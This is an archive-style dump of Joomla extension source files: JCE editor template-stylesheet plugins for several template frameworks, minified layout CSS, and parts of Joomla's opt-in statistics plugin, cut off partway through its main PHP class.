class WfTemplateCore extends JPlugin
{
    private function findFile($template, $name) 
    {
        // template.css
        $file = JPath::find(array(
            JPATH_SITE . '/templates/' . $template . '/css',
            JPATH_SITE . '/media/templates/site/' . $template . '/css'
        ), $name);

        if ($file) {
            // make relative
            $file = str_replace(JPATH_SITE, '', $file);
            
            // remove leading slash
            $file = trim($file, '/');

            return $file;
        }

        return false;
    }
    
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        // already processed by a framework
        if (!empty($files)) {
            return false;
        }

        if ($template->parent) {
            foreach(array('template.css', 'user.css') as $name) {
                $file = $this->findFile($template->parent, $name);

                if ($file) {
                    $files[] = $file;
                }
            }
        }

        foreach(array('template.css', 'user.css') as $name) {
            $file = $this->findFile($template->name, $name);

            if ($file) {
                $files[] = $file;
            }
        }
    }
}PK�(]$�bbsystem/jce/templates/helix.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateHelix extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        $path = JPATH_SITE . '/templates/' . $template->name;

        if (!is_file($path . '/comingsoon.php')) {
            return false;
        }

        // add bootstrap
        $files[] = 'templates/' . $template->name . '/css/bootstrap.min.css';

        // add font-awesome
        $files[] = 'templates/' . $template->name . '/css/font-awesome.min.css';

        // add base template.css file
        $files[] = 'templates/' . $template->name . '/css/template.css';

        $params = new JRegistry($template->params);
        $preset = $params->get('preset', '');

        $data = json_decode($preset);

        if ($data) {
            if (isset($data->preset)) {
                $files[] = 'templates/' . $template->name . '/css/presets/' . $data->preset . '.css';
            }
        }
    }
}PK�(]t:+��system/jce/templates/wright.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateWright extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        $path = JPATH_SITE . '/templates/' . $template->name;

        // not a wright template
        if (!is_dir($path . '/wright')) {
            return false;
        }

        // add bootstrap
        $files[] = 'templates/' . $template->name . '/wright/css/bootstrap.min.css';

        $params = new JRegistry($template->params);
        $style = $params->get('style', 'default');

        // check style-custom.css file
        $file = $path . '/css/style-' . $style . '.css';

        // add base theme.css file
        if (is_file($file)) {
            $files[] = 'templates/' . $template->name . '/css/style-' . $style . '.css';
        }
    }
}PK�(]���A��!system/jce/templates/joomlart.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateJoomlart extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        $path = JPATH_SITE . '/templates/' . $template->name;

        if (!is_file($path . '/templateInfo.php')) {
            return false;
        }

        // add base template.css file
        $files[] = 'templates/' . $template->name . '/css/template.css';

        // add custom.css
        if (is_file($path . '/css/custom.css')) {
            $files[] = 'templates/' . $template->name . '/css/custom.css';
        }

        $items = array();
            
        $list = glob(JPATH_SITE . '/media/t4/css/*.css');

        foreach($list as $file) {
            $items[filemtime($file)] = $file;
        }

        // sort by modified time key
        ksort($items, SORT_NUMERIC);

        // get the last item in the array
        $item = end($items);

        // add compiled css file
        $files[] = 'media/t4/css/' . basename($item);
    }
}PK�(]��:��system/jce/templates/gantry.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateGantry extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {
        $path = JPATH_SITE . '/templates/' . $template->name;

        // not a gantry template
        if (!is_dir($path . '/gantry') && !is_file($path . '/gantry.config.php')) {
            return false;
        }

        $name = substr($template->name, strpos($template->name, '_') + 1);

        // try Gantry5 templates
        $gantry5 = $path . '/custom/css-compiled';
        $gantry4 = $path . '/css-compiled';

        if (is_dir($gantry5)) {
            // update url
            $url = 'templates/' . $template->name . '/custom/css-compiled';

            // editor.css file
            $editor_css = $gantry5 . '/editor.css';

            // check for editor.css file
            if (is_file($editor_css) && filesize($editor_css) > 0) {
                $files[] = $url . '/' . basename($editor_css);
                return true;
            }

            // load gantry base files
            $files[] = 'media/gantry5/assets/css/bootstrap-gantry.css';
            $files[] = 'media/gantry5/engines/nucleus/css-compiled/nucleus.css';

            $items  = array();
            $custom = array();

            $list = glob($gantry5 . '/*_[0-9]*.css');

            foreach ($list as $file) {
                if (strpos(basename($file), 'custom_') !== false) {
                    $custom[filemtime($file)] = $file;
                } else {
                    $items[filemtime($file)] = $file;
                }
            }

            if (!empty($items)) {
                // sort items by modified time key
                ksort($items, SORT_NUMERIC);

                // get the last item in the array
                $item = end($items);

                $path = dirname($item);
                $file = basename($item);

                // load css files
                $files[] = $url . '/' . $file;
            }

            // load custom css file if it exists
            if (!empty($custom)) {
                // sort custom by modified time key
                ksort($custom, SORT_NUMERIC);
                
                // get the last custom file in the array
                $custom_file = end($custom);
                // create custom file url
                $files[] = $url . '/' . basename($custom_file);
            }
        }

        if (is_dir($gantry4)) {
            // update url
            $url = 'templates/' . $template->name . '/css-compiled';
            // load gantry bootstrap files
            $files[] = $url . '/bootstrap.css';

            $items = array();

            $list = glob($gantry4 . '/master-*.css');

            if (!empty($list)) {
                foreach ($list as $file) {
                    $items[filemtime($file)] = $file;
                }

                // sort by modified time key
                ksort($items, SORT_NUMERIC);

                // get the last item in the array
                $item = end($items);

                // load css files
                $files[] = $url . '/' . basename($item);
            }
        }
    }
}
PK�(]S��OO!system/jce/templates/yootheme.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateYootheme extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        $path = JPATH_SITE . '/templates/' . $template->name;

        // not a yootheme / warp template
        if (!is_dir($path . '/warp') && !is_dir($path . '/vendor/yootheme')) {
            return false;
        }

        if (is_dir($path . '/warp')) {
            $file = 'css/theme.css';

            $config = $path . '/config.json';

            if (is_file($config)) {
                $data = file_get_contents($config);
                $json = json_decode($data);

                $style = '';

                if ($json) {
                    if (!empty($json->layouts->default->style)) {
                        $style = $json->layouts->default->style;
                    }
                }

                if ($style && $style !== 'default') {
                    $file = 'styles/' . $style . '/css/theme.css';
                }
            }

            // add base theme.css file
            if (is_file($path . '/' . $file)) {
                $files[] = 'templates/' . $template->name . '/' . $file;
            }

            // add custom css file
            if (is_file($path . '/css/custom.css')) {
                $files[] = 'templates/' . $template->name . '/css/custom.css';
            }
        }

        if (is_dir($path . '/vendor/yootheme')) {
            $files[] = 'templates/' . $template->name . '/css/theme.css';

            // add custom css file
            if (is_file($path . '/css/custom.css')) {
                $files[] = 'templates/' . $template->name . '/css/custom.css';
            }
        }
    }
}PK�(]b��O* * system/jce/css/content.cssnu�[���.wf-columns{display:flex;gap:1rem}.wf-columns .wf-column{max-width:100%;box-sizing:border-box;flex:1}.wf-columns-stack-large,.wf-columns-stack-medium,.wf-columns-stack-small,.wf-columns-stack-xlarge{flex-wrap:wrap}.wf-columns-align-left{justify-content:flex-start}.wf-columns-align-center{justify-content:center}.wf-columns-align-right{justify-content:flex-end}.wf-columns-layout-1-2>.wf-column:last-child,.wf-columns-layout-2-1>.wf-column:first-child{width:calc(100% * 2 / 3.001);flex:none}.wf-columns-layout-1-1-2>.wf-column:last-child,.wf-columns-layout-1-2-1>.wf-column:nth-child(2),.wf-columns-layout-2-1-1>.wf-column:first-child{width:50%;flex:none}.wf-columns-layout-1-3>.wf-column:last-child,.wf-columns-layout-3-1>.wf-column:first-child{width:75%;flex:none}.wf-columns-layout-1-1-3>.wf-column:last-child,.wf-columns-layout-1-3-1>.wf-column:nth-child(2),.wf-columns-layout-2-3>.wf-column:last-child,.wf-columns-layout-3-1-1>.wf-column:first-child,.wf-columns-layout-3-2>.wf-column:first-child{width:60%;flex:none}.wf-columns-layout-1-1-1-2>.wf-column:last-child,.wf-columns-layout-2-1-1-1>.wf-column:first-child{width:40%;flex:none}.wf-columns-layout-1-4>.wf-column:last-child,.wf-columns-layout-4-1>.wf-column:first-child{width:80%;flex:none}.wf-columns-gap-small{gap:.5rem}.wf-columns-gap-medium{gap:1rem}.wf-columns-gap-large{gap:2rem}.wf-columns-gap-none{gap:0}.wf-columns-align-top{align-items:flex-start}.wf-columns-align-middle{align-items:center}.wf-columns-align-bottom{align-items:flex-end}.wf-columns-align-stretch{align-items:stretch}@media (max-width:640px){.wf-columns-stack-small>.wf-column{width:100%;flex:auto!important}}@media (max-width:960px){.wf-columns-stack-medium>.wf-column{width:100%;flex:auto!important}}@media (max-width:1200px){.wf-columns-stack-large>.wf-column{width:100%;flex:auto!important}}@media (max-width:1600px){.wf-columns-stack-xlarge>.wf-column{width:100%}}[data-wf-columns]>div>figure img,[data-wf-columns]>div>figure video{object-fit:cover;height:calc(100% - 2rem)}[data-wf-columns]>div>figure{margin:0;display:block;position:relative;height:100%}[data-wf-columns]>div>figure figcaption{text-align:center;line-height:2rem;display:inline-block;width:100%}[data-wf-columns]>div>figure>a.wfpopup+figcaption{pointer-events:none}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.wf-columns .wf-column{margin-left:1rem}.wf-columns .wf-column:first-child{margin-left:inherit}.wf-columns .wf-column:last-child{margin-right:inherit}.wf-columns-gap-small .wf-column{margin-left:.5rem}.wf-columns-gap-medium .wf-column{margin-left:1rem}.wf-columns-gap-large .wf-column{margin-left:2rem}.wf-columns-gap-none .wf-column{margin-left:inherit}}@media all and (-ms-high-contrast:none) and (max-width:640px),(-ms-high-contrast:active) and (max-width:640px){.wf-columns-stack-small .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-small .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-small.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-small.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-small.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-small.wf-columns-gap-large .wf-column{margin-top:2rem}}@media all and (-ms-high-contrast:none) and (max-width:960px),(-ms-high-contrast:active) and (max-width:960px){.wf-columns-stack-medium .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-medium .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-medium.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-medium.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-medium.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-medium.wf-columns-gap-large .wf-column{margin-top:2rem}}@media all and (-ms-high-contrast:none) and (max-width:1200px),(-ms-high-contrast:active) and (max-width:1200px){.wf-columns-stack-large .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-large .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-large.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-large.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-large.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-large.wf-columns-gap-large .wf-column{margin-top:2rem}}@media all and (-ms-high-contrast:none) and (max-width:1600px),(-ms-high-contrast:active) and (max-width:1600px){.wf-columns-stack-xlarge .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-xlarge .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-xlarge.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-xlarge.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-xlarge.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-xlarge.wf-columns-gap-large .wf-column{margin-top:2rem}}@supports (not (scale:-1)) and (-webkit-hyphens:none){.wf-columns .wf-column{margin-left:1rem}.wf-columns .wf-column:first-child{margin-left:inherit}.wf-columns .wf-column:last-child{margin-right:inherit}.wf-columns-gap-small .wf-column{margin-left:.5rem}.wf-columns-gap-medium .wf-column{margin-left:1rem}.wf-columns-gap-large .wf-column{margin-left:2rem}.wf-columns-gap-none .wf-column{margin-left:inherit}@media (max-width:640px){.wf-columns-stack-small .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-small .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-small.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-small.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-small.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-small.wf-columns-gap-large .wf-column{margin-top:2rem}}@media (max-width:960px){.wf-columns-stack-medium .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-medium .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-medium.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-medium.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-medium.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-medium.wf-columns-gap-large .wf-column{margin-top:2rem}}@media (max-width:1200px){.wf-columns-stack-large .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-large .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-large.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-large.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-large.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-large.wf-columns-gap-large .wf-column{margin-top:2rem}}@media (max-width:1600px){.wf-columns-stack-xlarge .wf-column{margin-left:inherit;margin-right:inherit;margin-top:1rem}.wf-columns-stack-xlarge .wf-column:first-child{margin-top:inherit!important}.wf-columns-stack-xlarge.wf-columns-gap-none .wf-column{margin-top:inherit}.wf-columns-stack-xlarge.wf-columns-gap-small .wf-column{margin-top:.5rem}.wf-columns-stack-xlarge.wf-columns-gap-medium .wf-column{margin-top:1rem}.wf-columns-stack-xlarge.wf-columns-gap-large .wf-column{margin-top:2rem}}}[data-wf-columns].uk-flex,[data-wf-columns].uk-flex-gap-small{gap:.5rem}[data-wf-columns].uk-flex-gap-medium{gap:1rem}[data-wf-columns].uk-flex-gap-large{gap:2rem}[data-wf-columns].uk-flex-gap-none{gap:0}[data-wf-columns].row{gap:.5rem;margin:0}[data-wf-columns].row>[class*=col]{padding:0}[data-wf-columns].flex-gap-sm{gap:.5rem}[data-wf-columns].flex-gap-md{gap:1rem}[data-wf-columns].flex-gap-lg{gap:2rem}[data-wf-columns].flex-gap-none{gap:0}[data-wf-columns].flex-top{align-items:flex-start}[data-wf-columns].flex-middle{align-items:center}[data-wf-columns].flex-bottom{align-items:flex-end}[data-wf-columns].flex-stretch{align-items:stretch}figure[data-wf-figure]{display:table;margin-block-start:inherit;margin-block-end:inherit;margin-inline-start:inherit;margin-inline-end:inherit}figure[data-wf-figure] figcaption{display:table-caption;caption-side:bottom}PK�(]9�YY<	<	system/jce/css/media.cssnu�[���div[data-url].wf-media-wrapper>div.modal,div[data-url]>div.modal-dialog>div.modal-content{height:90vh}.wf-media-wrapper{max-width:100%}.wf-media-wrapper .modal .modal-header h3{font-size:0}.wf-media-wrapper .modal .modal-body{max-height:100%!important;width:auto;overflow:hidden;padding:0}.wf-media-wrapper .modal .modal-body iframe{height:calc(100% - 27px)!important}.wf-media-wrapper .modal .modal-body iframe[name=field-media-modal]{height:calc(90vh - 54px)!important;max-height:100vh}.wf-media-wrapper .modal .modal-footer{display:none}#sbox-window{padding:5px!important}#sbox-window #sbox-content,#sbox-window #sbox-content iframe{margin:0!important;padding:0!important}.input-append a[role=button].wf-media-upload-button,.input-group a[role=button].wf-media-upload-button{position:relative;border-radius:0;overflow:hidden}.wf-media-upload-button>input[type=file]{position:absolute;left:0;top:0;width:100%;height:100%;font-size:100px;opacity:0;cursor:pointer;overflow:hidden}input.wf-media-upload-busy,input.wf-media-upload-hover{background-color:#eee}@media (max-width:1400px){.input-append input.wf-media-input-upload{width:100px}}.wf-media-wrapper .field-media-preview{display:flex;align-items:center;justify-content:center;height:180px;padding:10px;overflow:hidden;background-color:#f2f2f2;border:1px solid rgba(0,0,0,.15);border-width:1px 1px 0;border-radius:.25rem .25rem 0 0}.wf-media-wrapper .field-media-preview .field-media-preview-icon{width:7rem;height:7rem;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'%3E%3Cpath fill='rgba(0,0,0,.25)' d='M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z'/%3E%3C/svg%3E");background-size:7rem}.wf-media-wrapper .field-media-preview img{max-width:100%;max-height:100%}.wf-media-wrapper .field-media-preview img+.field-media-preview-icon,.wf-media-wrapper .field-media-preview img[src=""]{display:none}.wf-media-wrapper .field-media-preview img[src=""]+.field-media-preview-icon{display:block}PK�(]EN8��system/stats/field/uniqueid.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldUniqueid extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Uniqueid';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.uniqueid';
}
PK�(]�V���system/stats/field/base.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base field for the Stats Plugin.
 *
 * @since  3.5
 */
abstract class PlgSystemStatsFormFieldBase extends JFormField
{
	/**
	 * Get the layouts paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = JFactory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/system/stats',
			dirname(__DIR__) . '/layouts',
			JPATH_SITE . '/layouts'
		);
	}
}
PK�(]G!E���system/stats/field/data.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldData extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Data';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.data';

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$data       = parent::getLayoutData();

		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('system', 'stats');

		$result = $dispatcher->trigger('onGetStatsData', array('stats.field.data'));

		$data['statsData'] = $result ? reset($result) : array();

		return $data;
	}
}
PK�(]�e����#system/stats/layouts/field/data.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 * @var   array    $statsData       Statistics that will be sent to the stats server
 */

JHtml::_('jquery.framework');
?>
<a href="#" onclick="jQuery(this).next().toggle(200); return false;"><?php echo JText::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
<?php
echo $field->render('stats', compact('statsData'));
PK�(]oT=		'system/stats/layouts/field/uniqueid.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 */
?>
<input type="hidden" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" />
<a class="btn" onclick="document.getElementById('<?php echo $id; ?>').value='';Joomla.submitbutton('plugin.apply');">
	<span class="icon-refresh"></span> <?php echo JText::_('PLG_SYSTEM_STATS_RESET_UNIQUE_ID'); ?>
</a>PK�(]_�mlffsystem/stats/layouts/stats.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  array  $statsData  Array containing the data that will be sent to the stats server
 */

$versionFields = array('php_version', 'db_version', 'cms_version');
?>
<dl class="dl-horizontal js-pstats-data-details"  style="display:none;">
	<?php foreach ($statsData as $key => $value) : ?>
		<dt><?php echo JText::_('PLG_SYSTEM_STATS_LABEL_' . strtoupper($key)); ?></dt>
		<dd><?php echo in_array($key, $versionFields) ? (preg_match('/\d+(?:\.\d+)+/', $value, $matches) ? $matches[0] : $value) : $value; ?></dd>
	<?php endforeach; ?>
</dl>
PK�(]֙Q system/stats/layouts/message.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  PlgSystemStats             $plugin        Plugin rendering this layout
 * @var  \Joomla\Registry\Registry  $pluginParams  Plugin parameters
 * @var  array                      $statsData     Array containing the data that will be sent to the stats server
 */
?>
<div class="alert alert-info js-pstats-alert" style="display:none;">
	<button data-dismiss="alert" class="close" type="button">×</button>
	<h2><?php echo JText::_('PLG_SYSTEM_STATS_LABEL_MESSAGE_TITLE'); ?></h2>
	<p>
		<?php echo JText::_('PLG_SYSTEM_STATS_MSG_JOOMLA_WANTS_TO_SEND_DATA'); ?>
		<a href="#" class="js-pstats-btn-details alert-link"><?php echo JText::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
	</p>
	<?php
		echo $plugin->render('stats', compact('statsData'));
	?>
	<p><?php echo JText::_('PLG_SYSTEM_STATS_MSG_ALLOW_SENDING_DATA'); ?></p>
	<p class="actions">
		<a href="#" class="btn js-pstats-btn-allow-always"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_SEND_ALWAYS'); ?></a>
		<a href="#" class="btn js-pstats-btn-allow-once"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_SEND_NOW'); ?></a>
		<a href="#" class="btn js-pstats-btn-allow-never"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_NEVER_SEND'); ?></a>
	</p>
</div>
PK�(]�+Nbbsystem/stats/stats.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
	<name>plg_system_stats</name>
	<author>Joomla! Project</author>
	<creationDate>November 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_STATS_XML_DESCRIPTION</description>
	<files>
		<folder>field</folder>
		<folder>layouts</folder>
		<filename plugin="stats">stats.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="data"
					type="plgsystemstats.data"
					label=""
				/>

				<field
					name="unique_id"
					type="plgsystemstats.uniqueid"
					label="PLG_SYSTEM_STATS_UNIQUE_ID_LABEL"
					description="PLG_SYSTEM_STATS_UNIQUE_ID_DESC"
					size="10"
				/>

				<field
					name="interval"
					type="number"
					label="PLG_SYSTEM_STATS_INTERVAL_LABEL"
					description="PLG_SYSTEM_STATS_INTERVAL_DESC"
					filter="integer"
					default="12"
				/>

				<field
					name="mode"
					type="list"
					label="PLG_SYSTEM_STATS_MODE_LABEL"
					description="PLG_SYSTEM_STATS_MODE_DESC"
					default="1"
					>
					<option value="1">PLG_SYSTEM_STATS_MODE_OPTION_ALWAYS_SEND</option>
					<option value="2">PLG_SYSTEM_STATS_MODE_OPTION_ON_DEMAND</option>
					<option value="3">PLG_SYSTEM_STATS_MODE_OPTION_NEVER_SEND</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]vc1��1�1system/stats/stats.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Uncomment the following line to enable debug mode for testing purposes. Note: statistics will be sent on every page load
// define('PLG_SYSTEM_STATS_DEBUG', 1);

/**
 * Statistics system plugin. This sends anonymous data back to the Joomla! Project about the
 * PHP, SQL, Joomla and OS versions
 *
 * @since  3.5
 */
class PlgSystemStats extends JPlugin
{
	/**
	 * Indicates sending statistics is always allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ALWAYS = 1;

	/**
	 * Indicates sending statistics is only allowed one time.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ONCE = 2;

	/**
	 * Indicates sending statistics is never allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_NEVER = 3;

	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.5
	 */
	protected $db;

	/**
	 * URL to send the statistics.
	 *
	 * @var    string
	 * @since  3.5
	 */
